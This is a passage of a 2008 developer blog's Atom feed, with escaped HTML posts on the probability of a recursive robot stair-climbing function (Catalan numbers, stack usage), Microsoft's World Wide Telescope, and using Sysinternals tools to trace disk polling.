&lt;/span&gt;than &lt;span style="font-weight: bold;"&gt;n steps! &lt;/span&gt;Cool! Now, one more thing: It is easy to establish that the last element of the &lt;span style="font-weight: bold;"&gt;every string &lt;/span&gt;will be &lt;span style="font-weight: bold;"&gt;S, &lt;/span&gt;which actually means that the last step of the robot will be &lt;span style="font-weight: bold;"&gt;to the upwards direction&lt;/span&gt;. Ok, this is clear. So let's formulate again the problem.&lt;br /&gt;&lt;br /&gt;We have a string with two &lt;span style="font-weight: bold;"&gt;possible &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;letters, &lt;/span&gt;F and S, of length &lt;span style="font-weight: bold;"&gt;2.n, &lt;/span&gt;in which we have &lt;span style="font-weight: bold;"&gt;n &lt;/span&gt;F's and &lt;span style="font-weight: bold;"&gt;n &lt;/span&gt;S's and for &lt;span style="font-weight: bold;"&gt;every initial substring &lt;/span&gt;the number of S's &lt;span style="font-weight: bold;"&gt;does not exceed &lt;/span&gt;the number of F's. Now we want to calculate the number of all &lt;span style="font-weight: bold;"&gt;valid combinations &lt;/span&gt;for this case. But how to do that? Well, here comes the so-called &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Dyck_language"&gt;Dyck words&lt;/a&gt; &lt;/span&gt;because what we described previously is what exactly how a Dyck word is defined! Now, there is this theorem that states that there exactly &lt;span style="font-weight: bold;"&gt;Cn &lt;/span&gt;Dyck words of &lt;span style="font-weight: bold;"&gt;length 2.n&lt;/span&gt;. What is Cn? But the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Catalan_number"&gt;Catalan numbers&lt;/a&gt; &lt;/span&gt;of course!&lt;br /&gt;&lt;br /&gt;What are the Catalan numbers?? There are defined with the following equation&lt;br /&gt;&lt;dl&gt;&lt;dd&gt;                                                                                              &lt;img class="tex" alt="C_n = \frac{1}{n+1}{2n\choose n} = \frac{(2n)!}{(n+1)!\,n!} \qquad\mbox{ for }n\ge 0." src="http://upload.wikimedia.org/math/3/b/d/3bd4ac77a4af3f894d8e88ed7e1ba418.png" /&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;dl&gt;&lt;dt&gt;and they occur &lt;span style="font-weight: bold;"&gt;very often &lt;/span&gt;in &lt;span style="font-weight: bold;"&gt;combinatorics &lt;/span&gt;problems. In our problem they calculate all possible 'configurations' in which the step_up() function will be called exactly (2.n+1) times (Remember that the last step is always up, this means the last call is always successful). This means that the average calls of step_up() is calculated by,&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SERdghKsu-I/AAAAAAAAAHw/WQJyKO-U9qQ/s1600-h/equation.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SERdghKsu-I/AAAAAAAAAHw/WQJyKO-U9qQ/s320/equation.PNG" alt="" id="BLOGGER_PHOTO_ID_5207389882387577826" border="0" /&gt;&lt;/a&gt; Now the &lt;span style="font-weight: bold;"&gt;generating function &lt;/span&gt;of the Catalan numbers in the following equation&lt;br /&gt;&lt;/dt&gt;&lt;dd&gt;                                                                                                    &lt;img class="tex" alt="c(x)=\sum_{n=0}^\infty C_n x^n." src="http://upload.wikimedia.org/math/0/9/9/099acd90b5a02e418266e228dce42baa.png" /&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;is given by the equation&lt;/dt&gt;&lt;dd&gt;                                                                                            &lt;img class="tex" alt="c(x) = \frac{1-\sqrt{1-4x}}{2x}" src="http://upload.wikimedia.org/math/9/4/d/94d7fea7d802e660581f91a096d43170.png" /&gt;&lt;/dd&gt;&lt;dt&gt;Using these equations in combination with the &lt;span style="font-weight: bold;"&gt;derivative of c(x) &lt;/span&gt;for the case with the &lt;span style="font-style: italic;"&gt;n &lt;/span&gt;coefficient it is easy to arrive to to &lt;span style="font-weight: bold;"&gt;X = 1 / (p-q)&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;Wow! Recursion, probabilities, encoding, Dyck words, Catalan numbers, generating functions, all combined  to arrive analytically to the complexity of the recursive function step_up()!! Now, what you will prefer, depends on you: Either an &lt;span style="font-weight: bold;"&gt;elegant &lt;/span&gt;and smart solution or a &lt;span style="font-weight: bold;"&gt;rigorous, brute &lt;/span&gt;but educating analytical approach! Your call!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7862676696654908036?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7862676696654908036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7862676696654908036'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/06/catalan-numbers-dyck-words-and-robots.html' title='Catalan Numbers, Dyck Words and Robots Climbing Stairs'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_PNe-bgIDyRw/SERl8BKsvAI/AAAAAAAAAIA/wyq59rfYauM/s72-c/asimo_robot.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7549452714404544578</id><published>2008-05-22T09:15:00.000-07:00</published><updated>2008-12-09T07:12:00.702-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Stack Wars</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Recursion&lt;/span&gt; is a hot potato for developers. It can be good and it can be bad. This little was what came to my mind when I recently encountered another programming puzzle in &lt;a href="http://lambda-the-ultimate.org/node/1872"&gt;Lambda-The-Ultimate blog&lt;/a&gt;:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SDWpSSMsYcI/AAAAAAAAAHQ/1tTSZsgCcJA/s1600-h/600px-Sierpinski_carpet_6.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 217px; height: 217px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SDWpSSMsYcI/AAAAAAAAAHQ/1tTSZsgCcJA/s200/600px-Sierpinski_carpet_6.png" alt="" id="BLOGGER_PHOTO_ID_5203251076084294082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Imagine there is a robot that is programmed to climb up a ladder and has only o&lt;/span&gt;&lt;span style="font-style: italic;"&gt;ne function in its API: &lt;span style="font-weight: bold;"&gt;step()&lt;/span&gt; which is a command to &lt;span style="font-weight: bold;"&gt;try&lt;/span&gt; and climb up one step. There are cas&lt;/span&gt;&lt;span style="font-style: italic;"&gt;es that the function fails and the robots falls down on step. Can you &lt;span style="font-weight: bold;"&gt;write&lt;/span&gt; a function &lt;span style="font-weight: bold;"&gt;step_up()&lt;/span&gt; which guarantees that the robot will climb up exactly one step?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now there are several ways to do this but by far the most &lt;span style="font-weight: bold;"&gt;easy&lt;/span&gt; one is to think recursively: First of all we will have to use &lt;span style="font-style: italic;"&gt;step()&lt;/span&gt;. Second, given that &lt;span style="font-style: italic;"&gt;step_up()&lt;/span&gt; climbs up one step, then in case that the first call of step() fails then we should climb up two steps, which means to call the step_up() twice. This encodes into a nice little program:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;void step_up()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;if(!step())&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    {&lt;br /&gt;&lt;/span&gt;    &lt;span style="font-family:trebuchet ms;"&gt;step_up();&lt;/span&gt; &lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;step_up();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;That's it! We are done. No variables nor any complex control mechanisms. However we are not perfect yet! While it is easy to come up to a solution like the one above, a solution provided by another reader was &lt;span style="font-weight: bold;"&gt;amusingly better&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;void step_up()&lt;br /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;while(!step())&lt;/span&gt; &lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;step_up();&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The obvious improvement is &lt;span style="font-weight: bold;"&gt;code size &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;elegance, &lt;/span&gt;but there is still much more important things here and is called &lt;span style="font-weight: bold;"&gt;stack&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;usage&lt;/span&gt;. The &lt;span style="font-weight: bold;"&gt;stack &lt;/span&gt;memory like any other but we use it in a very special way, using &lt;span style="font-weight: bold;"&gt;push/pop &lt;/span&gt;operations. When &lt;span style="font-style: italic;"&gt;push&lt;/span&gt;ing an element, it is stored at the top of the stack and it is the first element we will get by &lt;span style="font-style: italic;"&gt;pop&lt;/span&gt;ping. The stack's behavior makes it ideal for &lt;span style="font-weight: bold;"&gt;calling subroutines&lt;/span&gt;, and is therefore a core element of modular programming. This is why every modern processor has special &lt;span style="font-weight: bold;"&gt;assembly operations &lt;/span&gt;dedicated to the stack. When a method calls another, the arguments are pushed to the stack. If in turn the new method calls another one the arguments again are pushed to the stack and so on. While this is ideal for nested procedures, it may cause a problem, programmers usually refer to as &lt;span style="font-weight: bold;"&gt;stack overflow&lt;/span&gt;, describing the situation when the stack fills up.&lt;br /&gt;&lt;br /&gt;So, another problem arises: &lt;span style="font-weight: bold;"&gt;How to calculate stack usage? &lt;/span&gt;In other words and in our case, &lt;span style="font-weight: bold;"&gt;how many times will step_up() be called? &lt;/span&gt;Well, this depends on your style. You can either take a deep breath and try to calculate it analytically or rely on &lt;span style="font-weight: bold;"&gt;recursiveness &lt;/span&gt;and devise smart solutions. For both our robot algorithms it is not easy to go with the 1st option. We will soon stumble upon some non-trivial combinatorics problems (try it yourself)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SDWpryMsYdI/AAAAAAAAAHY/i_Wamnd7VM8/s1600-h/180px-RecursiveTree.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 164px; height: 217px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SDWpryMsYdI/AAAAAAAAAHY/i_Wamnd7VM8/s200/180px-RecursiveTree.JPG" alt="" id="BLOGGER_PHOTO_ID_5203251514170958290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But there is a much more clever way to circumvent this. Let's say that &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;step_up() &lt;/span&gt;&lt;/span&gt;is called &lt;span style="font-weight: bold;"&gt;on average X &lt;/span&gt;times. Let's consider also, that &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;step() &lt;/span&gt;&lt;/span&gt;returns &lt;span style="font-weight: bold;"&gt;true &lt;/span&gt;with a probability &lt;span style="font-weight: bold;"&gt;p &lt;/span&gt;and false with the probability &lt;span style="font-weight: bold;"&gt;q&lt;/span&gt;, with &lt;span style="font-weight: bold;"&gt;p&gt;q &lt;/span&gt;(obviously &lt;span style="font-weight: bold;"&gt;p+q=1&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;Now for our 1st robot algorithm we get &lt;span style="font-weight: bold;"&gt;X = p.1 + q.(1+2.X) &lt;/span&gt;so by solving for &lt;span style="font-weight: bold;"&gt;X &lt;/span&gt;we get &lt;span style="font-weight: bold;"&gt;X = 1 / (1-2.q) or X = 1/(p-q)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;br /&gt;For our second algorithm the situation is different, we have the while loop, so we basically have a sum that keeps looping as long as as &lt;span style="font-weight: bold;"&gt;step() &lt;/span&gt;returns false! This means that &lt;span style="font-weight: bold;"&gt;X = p.1+q.p.(1+X)+q.q.p.(1+2.X)+q.q.q.p.(1+3.X)...=p.1+q^n.p.(1+n.x) &lt;/span&gt;the sum extending to infinity. If we use the equation &lt;span style="font-weight: bold;"&gt;Σ n.q^n = q/(1-q)^2 &lt;/span&gt;we will finally get  &lt;span style="font-weight: bold;"&gt;X = p/(p-q)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;To conclude for the 1st robot algorithm the &lt;span style="font-style: italic;"&gt;step_up() &lt;/span&gt;is called on average 1/(p-q) and for the second it is called p/(p-q). This means that besides being more elegant, the second solution is &lt;span style="font-weight: bold;"&gt;1/p times better!! &lt;/span&gt;For example if &lt;span style="font-weight: bold;"&gt;p is a little greater &lt;/span&gt;than &lt;span style="font-weight: bold;"&gt;0.5&lt;/span&gt;, say 0.55, the second solution uses almost &lt;span style="font-weight: bold;"&gt;50% less stack storage!!&lt;/span&gt; If &lt;span style="font-weight: bold;"&gt;p &lt;/span&gt;is near 1, then both solutions are equal and if &lt;span style="font-weight: bold;"&gt;p &amp;lt; q &lt;/span&gt;both programs &lt;span style="font-weight: bold;"&gt;will crash &lt;/span&gt;with a &lt;span style="font-weight: bold;"&gt;stack overflow error.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;A teeny tiny optimization in &lt;span style="font-weight: bold;"&gt;recursive code &lt;/span&gt;can really make the difference and this is what all this post is all about. If you still &lt;span style="font-weight: bold;"&gt;don't get it all about recursion see:... Recursion!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7549452714404544578?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7549452714404544578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7549452714404544578'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/05/stack-wars.html' title='Stack Wars'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SDWpSSMsYcI/AAAAAAAAAHQ/1tTSZsgCcJA/s72-c/600px-Sierpinski_carpet_6.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3395363491294509058</id><published>2008-05-13T00:59:00.000-07:00</published><updated>2008-12-09T07:12:00.849-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Today I Am Watching The Sky</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SClLBE5Nq7I/AAAAAAAAAHI/YdEj215wHws/s1600-h/wwt_icon1.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SClLBE5Nq7I/AAAAAAAAAHI/YdEj215wHws/s200/wwt_icon1.png" alt="" id="BLOGGER_PHOTO_ID_5199769726641613746" border="0" /&gt;&lt;/a&gt;Finally it's here!&lt;br /&gt;There was something missing in a &lt;a href="http://developeronline.blogspot.com/2008/04/microsofts-big-bang-world-wide.html"&gt;recent article about the Microsoft World Wide&lt;/a&gt; Telescope and that was the actual &lt;span style="font-weight: bold;"&gt;software&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; Finally, it was released and now it is available for &lt;a href="http://www.worldwidetelescope.org/experienceIt/ExperienceIt.aspx"&gt;download from the official site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;These days have been pretty much tiring, so a nice trip on the Universe would be just what I need! (I have the feeling that in 10+years the previous phrase will have the literal meaning!) I hope to be back with my own experience with the WWT and until then I will be happy to share yours.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3395363491294509058?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3395363491294509058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3395363491294509058'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/05/today-i-am-watching-sky.html' title='Today I Am Watching The Sky'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SClLBE5Nq7I/AAAAAAAAAHI/YdEj215wHws/s72-c/wwt_icon1.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-9214539607716494736</id><published>2008-05-06T09:01:00.000-07:00</published><updated>2008-12-09T07:12:00.970-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Sysinternals: The Essential Tools If You Have Redmonditis</title><content type='html'>It has been some weeks now that my laptop had gone wild. The &lt;span style="font-weight: bold;"&gt;CPU fan&lt;/span&gt; kept working &lt;span style="font-weight: bold;"&gt;really loud &lt;/span&gt;for no apparent reason, then going silent again and repeating the same patter&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SCCTMRZQUdI/AAAAAAAAAHA/wLhNXhm-JAU/s1600-h/windows-logo.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 164px; height: 146px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SCCTMRZQUdI/AAAAAAAAAHA/wLhNXhm-JAU/s200/windows-logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5197315809022595538" border="0" /&gt;&lt;/a&gt;n over and over again. There was no apparent problem in the horizon: CPU usage was low, memory was ok, no suspicious processes running. Everything was fine. Just before going to buy a new laptop, I remembered having downloaded a bunch of Windows tools for system tasks (actually I have been using the &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx"&gt;&lt;span style="font-weight: bold;"&gt;Process Explorer&lt;/span&gt;&lt;/a&gt; for quite some time now).&lt;br /&gt;&lt;br /&gt;I run the file monitor tool (&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896642.aspx"&gt;FileMon&lt;/a&gt;&lt;/span&gt;) and found out quickly what was going on. A process named &lt;span style="font-weight: bold;"&gt;ServiceLayer.exe &lt;/span&gt;kept polling the disk every 2-3 seconds, exactly the rate at which the fan was being loud and silent. I shut it down and everything came back to normal, my nerves included.&lt;br /&gt;&lt;br /&gt;Actually there is a number of applications that behave badly to our disks. In the top of the list is &lt;span style="font-weight: bold;"&gt;Skype.exe&lt;/span&gt;, the popular messaging tool that literally is flooding the disk with I/O operations. Its networking behavior is not appropriate either (why should it open the &lt;span style="font-weight: bold;"&gt;http &lt;/span&gt;port anyway?) Skype community &lt;a href="http://forum.skype.com/index.php?showtopic=57734"&gt;is used to such problems&lt;/a&gt;. Anyway, the cause of my problem was from &lt;span style="font-weight: bold;"&gt;Nokia &lt;/span&gt;and its &lt;span style="font-weight: bold;"&gt;Nokia Connectivity Suite&lt;/span&gt;. If you have a Nokia phone and you have installed the software to connect your PC with your device, you may as well have it at your tasks list. The &lt;span style="font-weight: bold;"&gt;ServiceLayer.exe &lt;/span&gt;is an application(a service since it runs on background-no windows) that, if of course it is legal (could be &lt;span style="font-weight: bold;"&gt;malware &lt;/span&gt;for example), it may make the life hard for your PC.&lt;br /&gt;&lt;br /&gt;But &lt;span style="font-weight: bold;"&gt;&lt;a href="http://technet.microsoft.com/en-us/sysinternals/default.aspx"&gt;Windows Sysinternals&lt;/a&gt; &lt;/span&gt;can come to the rescue! You can find in the official Microsoft site a real treasure of tools that will reveal, anything you need to know about what your Windows machine is doing: &lt;span style="font-weight: bold;"&gt;Disk Utilities&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;Networking Tools&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;Process Utilities, &lt;/span&gt;you name it is there.&lt;br /&gt;Their functions are limitless and it does not fit here to describe them fully.&lt;br /&gt;&lt;br /&gt;So, the next time you will encounter a problem make sure you launch the appropriate Sysinternals tool. It is &lt;span style="font-weight: bold;"&gt;easy&lt;/span&gt; (the executables are small-some kBs), it is &lt;span style="font-weight: bold;"&gt;useful &lt;/span&gt;(really useful) and it is &lt;span style="font-weight: bold;"&gt;free&lt;/span&gt;. The best cure for everybody diagnosed with &lt;span style="font-weight: bold;"&gt;Redmonditis!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-9214539607716494736?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9214539607716494736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/9214539607716494736'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/05/sysinternals-essential-tools-if-you.html' title='Sysinternals: The Essential Tools If You Have Redmonditis'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/SCCTMRZQUdI/AAAAAAAAAHA/wLhNXhm-JAU/s72-c/windows-logo.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-5890552297071829000</id><published>2008-04-30T17:07:00.001-07:00</published><updated>2008-12-09T07:12:01.323-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Microsoft's Big Bang: The World Wide Telescope</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SBkWZxZQUbI/AAAAAAAAAGw/QKiwqUdNAoU/s1600-h/wwt_icon1.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 116px; height: 118px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SBkWZxZQUbI/AAAAAAAAAGw/QKiwqUdNAoU/s200/wwt_icon1.png" alt="" id="BLOGGER_PHOTO_ID_5195208277160382898" border="0" /&gt;&lt;/a&gt;I had came across a few months ago, an article saying something &lt;span style="font-weight: bold;"&gt;about Microsoft's new research project&lt;/span&gt; that was coming into light. It was from a former Microsoft employee, I guess, that on watching a demo of this project burst into tears-sorry but I seem not to be able to find the original article. I initially thought, "Well, Yet-Another-Viral-Campaign", and quickly forgot about that. After all, I am pretty much satisfied with &lt;a style="font-weight: bold;" href="http://www.stellarium.org/"&gt;Stellarium&lt;/a&gt; and I also know &lt;span style="font-weight: bold;"&gt;Google Sky&lt;/span&gt; is out there. Well, it seems &lt;span style="font-weight: bold;"&gt;I was totally wrong&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The project is named &lt;span style="font-weight: bold;"&gt;World Wide Telescope&lt;/span&gt;, and was created by &lt;a href="http://en.wikipedia.org/wiki/Jim_Gray_%28computer_scientist%29"&gt;&lt;span style="font-weight: bold;"&gt;Jim Gray&lt;/span&gt;&lt;/a&gt;, a computer scientist who received the Turing Award in 1998, joined Microsoft in 1995,  embarked on this ambitious project 6 years ago (June 2002) but &lt;span style="font-weight: bold;"&gt;disappeared in 2007&lt;/span&gt;, during a short boat route to scatter his mother's ashes. From that time until now Microsoft is continuing his research with &lt;span style="font-weight: bold;"&gt;astonishing results&lt;/span&gt;, and based on the people that have experienced the new technology, it has &lt;span style="font-weight: bold;"&gt;by far no match out there&lt;/span&gt;. You can find &lt;a href="ftp://ftp.research.microsoft.com/pub/tr/tr-2002-75.pdf"&gt;his original paper here&lt;/a&gt;. It worths reading, trust me.&lt;br /&gt;&lt;br /&gt;The &lt;span style="font-weight: bold;"&gt;World Wide Telescope&lt;/span&gt; is an integration of a thousand of technologies. For the user it is a great tool to virtually (or actually) roam into the universe. For computer scientists&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SBkYWxZQUcI/AAAAAAAAAG4/8mkhEYnWnBc/s1600-h/universe.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 217px; height: 162px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SBkYWxZQUcI/AAAAAAAAAG4/8mkhEYnWnBc/s200/universe.jpg" alt="" id="BLOGGER_PHOTO_ID_5195210424644030914" border="0" /&gt;&lt;/a&gt; it is a fascinating theory put into breath-taking practice: &lt;span&gt;federating data from multiple sour&lt;/span&gt;&lt;span&gt;ces, correlating and producing new insights&lt;/span&gt;, to paraphrase a little. So, the WWT is a lot more than a new killer application: It is a &lt;span style="font-weight: bold;"&gt;Big Bang for Computer Science&lt;/span&gt;, since it manages to process multiple sources of huge amounts of data from astronomy sites such as &lt;a href="http://skyserver.sdss.org/"&gt;http://SkyServer.SDSS.org/&lt;/a&gt;.  This leads to better understanding over the data and making scientists more productive.&lt;br /&gt;&lt;br /&gt;The computational challenge lies &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;only on the&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;volume of the data&lt;/span&gt; which however scale to petabytes. The &lt;span style="font-weight: bold;"&gt;hardest&lt;/span&gt; challenge comes from the &lt;span style="font-weight: bold;"&gt;need to integrate heterogeneous data&lt;/span&gt;, its with its own format of course. This actually requires deep astronomy knowledge and strong processing capabilities. The creators of the WWT give a crystal clear example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"A colleague challenged us to find “fast&lt;/span&gt; &lt;span style="font-style: italic;"&gt;moving” asteroids. This was an excellent test case – our&lt;/span&gt; &lt;span style="font-style: italic;"&gt;colleague had written a 12 page Tcl script that had run for 3&lt;/span&gt; &lt;span style="font-style: italic;"&gt;days on the flat files of the dataset. So we had a benchmark&lt;/span&gt; &lt;span style="font-style: italic;"&gt;to work against. It took a long day to debug our&lt;/span&gt; &lt;span style="font-style: italic;"&gt;understanding of the data and to develop an 18-line SQL&lt;/span&gt; &lt;span style="font-style: italic;"&gt;query. The resulting query runs in a minute."&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;What the creators had to do, was to understand the format of the astronomical data to analyze and construct the proper (but sophisticated) &lt;span style="font-weight: bold;"&gt;SQL query&lt;/span&gt;. Their result was more than convincing and a strong proof that an idea like the WWT could actually be implemented. Now, can you guess why Jim Gray won the Turing Award?? That's right, for contributions to&lt;span style="font-weight: bold;"&gt; database&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;transaction processes. &lt;/span&gt;Of course, I might say!&lt;br /&gt;&lt;br /&gt;But enough with the talk. Here you can find the video on TED where Microsoft first presents a glimpse of the World Wide Telescope. &lt;a href="http://www.worldwidetelescope.org/"&gt;The official website is already up&lt;/a&gt; but the WWT is not yet available to the public. Enjoy &lt;span style="font-weight: bold;"&gt;grandma-Microsoft's&lt;/span&gt; new creation!&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--cut and paste--&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="VE_Player" align="middle" height="285" width="432"&gt;&lt;param name="movie" value="http://static.videoegg.com/ted/flash/loader.swf"&gt;&lt;param name="FlashVars" value="bgColor=FFFFFF&amp;amp;file=http://static.videoegg.com/ted/movies/ROYGOULD-2008_high.flv&amp;amp;autoPlay=false&amp;amp;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&amp;amp;forcePlay=false&amp;amp;logo=&amp;amp;allowFullscreen=true"&gt;&lt;param name="quality" value="high"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="scale" value="noscale"&gt;&lt;param name="wmode" value="window"&gt;&lt;embed src="http://static.videoegg.com/ted/flash/loader.swf" 